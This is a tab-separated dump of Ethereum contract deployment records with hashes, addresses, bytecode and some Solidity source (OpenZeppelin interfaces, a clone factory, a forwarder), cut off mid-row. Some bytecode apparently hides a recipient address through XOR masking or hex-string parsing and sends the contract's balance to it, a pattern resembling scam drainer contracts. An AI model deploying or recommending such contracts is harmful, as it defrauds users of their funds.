/\n function flushTokens(address tokenContractAddress) external;\n\n /\n Execute a nft transfer from the forwarder to the parent address\n \n @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n /\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /\n Execute a nft transfer from the forwarder to the parent address.\n \n @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n /\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /\n Execute a batch nft transfer from the forwarder to the parent address.\n \n @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n /\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n \n Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n \n For an implementation, see {ERC165}.\n /\ninterface IERC165 {\n /\n @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n \n This function call must use less than 30 000 gas.\n /\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/\n @dev _Available since v3.1._\n /\ninterface IERC1155Receiver is IERC165 {\n /\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n /\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /*\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n /\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/*\n @dev Implementation of the {IERC165} interface.\n \n Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n \n ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId);\n * }\n * ```\n \n Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n /\nabstract contract ERC165 is IERC165 {\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary Address {\n /\n @dev Returns true if `account` is a contract.\n \n [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n \n Among others, `isContract` will return false for the following\n * types of addresses:\n \n - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n /\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1	19,499,697	6d6f46e45dc0ad40922af053d257d908eabb69bd81698fc9389647897830b464	4fe159182f850dde452b5f0fd494eedadc5a58e9a64167cae0ac8b412ba9f23b	e396070e5249d130953dd5cf25f5ebf7e216a55e	e396070e5249d130953dd5cf25f5ebf7e216a55e	8c2adaef0777ac821a15a2d525179bb282bd7e28	6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f623d7c7f0e930d8963184340038f9af9ceb8d8c0086007557f6e75382374384e10a7b62f6258695b72d88efc120a7f2e072a8611889b2c2b0c6008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220569a9c544e80cc8466b613fbfa87b5494fcea121dae192837580f5899081ff5164736f6c63430008070033	6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220569a9c544e80cc8466b613fbfa87b5494fcea121dae192837580f5899081ff5164736f6c63430008070033
1	19,499,698	ac7fc073bd2dade12d8de6fbef444c7f7fcc808261e73d081d3dd8f4a36259b2	3d9d5ee3fa4ddaded6759958d2dff7234b00b71cf995cd7690b4eada6cfb96d0	000099b4a4d3ceb370d3a8a6235d24e07a8c0000	ee2a0343e825b2e5981851299787a679ce08216d	52b97e5ab2ab60ec80fd041dc2bef306e4472333	6080604052348015600f57600080fd5b506040516101bb3803806101bb833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b610125806100966000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c6343000819003300000000000000000000000033c99c0323adc0b7bd4ddd2ac4d4de2c28722fb0	6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c63430008190033
1	19,499,699	75f7942944a38e364a89321906edc77b6976b758db100c879b9f61546db5d430	f1793e99864b47df674e9a8d60cb198c150bdc5ca472d0cd0c4131dc1426e9a1	00bdb5699745f5b860228c8f939abf1b9ae374ed	ffa397285ce46fb78c588a9e993286aac68c37cd	89d750697116d25c0ca1284fb8bb3f12baee4f0f	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,699	75f7942944a38e364a89321906edc77b6976b758db100c879b9f61546db5d430	358d2dae5f1cf1fef800b9d25c09756a950221b1acac9e1482c437ff3fdcfc03	2e05a304d3040f1399c8c20d2a9f659ae7521058	5be1de8021cc883456fd11dc5cd3806dbc48d304	54b9c6bf83c9ac16277739ee987e38c0a2589580	608060405273af1931c20ee0c11bea17a41bfbbad299b2763bc06000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600047905060008111156100cf576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156100cd573d6000803e3d6000fd5b505b5060b4806100de6000396000f3fe6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032	6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
1	19,499,701	aec3d5992593973b8b7f2a6ca9c4336971fdd295f4fb501a48f266587b88782c	157bc879c6dd3971dec622c71329922b5bcec201c789003c0fd95ead3251b219	a7fb5ca286fc3fd67525629048a4de3ba24cba2e	c77ad0a71008d7094a62cfbd250a2eb2afdf2776	7f9f73c136bb0b420a60a0a2f21fb48e7ad6ddcd	608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1	19,499,703	421cf8e0a50e2f227cb603b5693a9c3046aafcb43f41945ada59b4ae0bac912a	15f5f9f5390ef7c77e47d434d159fc80d37d6e61bd11b27f32c1b430a30c9680	3bbacd92b9865875ef44c741f3d2ceef5ce32168	3bbacd92b9865875ef44c741f3d2ceef5ce32168	7610514d775959c50ddd022109291c8c872d54c3	608060405234801561001057600080fd5b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aaa806100616000396000f3fe60806040526004361061004e5760003560e01c80631b55ba3a1461005a57806370e44c6a146100715780638da5cb5b1461010157806395d89b4114610158578063bedf0f4a146101e857610055565b3661005557005b600080fd5b34801561006657600080fd5b5061006f6101ff565b005b34801561007d57600080fd5b5061008661026a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100c65780820151818401526020810190506100ab565b50505050905090810190601f1680156100f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010d57600080fd5b50610116610472565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016457600080fd5b5061016d610498565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f457600080fd5b506101fd610516565b005b600061021161020c610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc61023a610978565b9081150290604051600060405180830381858888f19350505050158015610265573d6000803e3d6000fd5b505050565b6060600061027e610279610581565b61071f565b90506000819050606061028f610980565b9050606061029b6109bd565b905060606102a76109fa565b905060606102b3610a37565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc6102d7610978565b9081150290604051600060405180830381858888f19350505050158015610302573d6000803e3d6000fd5b50838383836040516020018085805190602001908083835b6020831061033d578051825260208201915060208101905060208303925061031a565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061038e578051825260208201915060208101905060208303925061036b565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b602083106103df57805182526020820191506020810190506020830392506103bc565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310610430578051825260208201915060208101905060208303925061040d565b6001836020036101000a038019825116818451168082178552505050505050905001945050505050604051602081830303815290604052965050505050505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060806104a36109bd565b9050806040516020018082805190602001908083835b602083106104dc57805182526020820191506020810190506020830392506104b9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405291505090565b6000610528610523610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc610551610978565b9081150290604051600060405180830381858888f1935050505015801561057c573d6000803e3d6000fd5b505050565b60608061058c610980565b905060606105986109bd565b905060606105a46109fa565b905060606105b0610a37565b9050838383836040516020018085805190602001908083835b602083106105ec57805182526020820191506020810190506020830392506105c9565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061063d578051825260208201915060208101905060208303925061061a565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061068e578051825260208201915060208101905060208303925061066b565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106106df57805182526020820191506020810190506020830392506106bc565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b6000606082905060008090506000806000600290505b602a81101561096b576101008402935084818151811061075157fe5b602001015160f81c60f81b60f81c60ff16925084600182018151811061077357fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff16101580156107c4575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156107d45760578303925061086e565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610812575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156108225760378303925061086d565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015610860575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1561086c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156108ac575060668273fff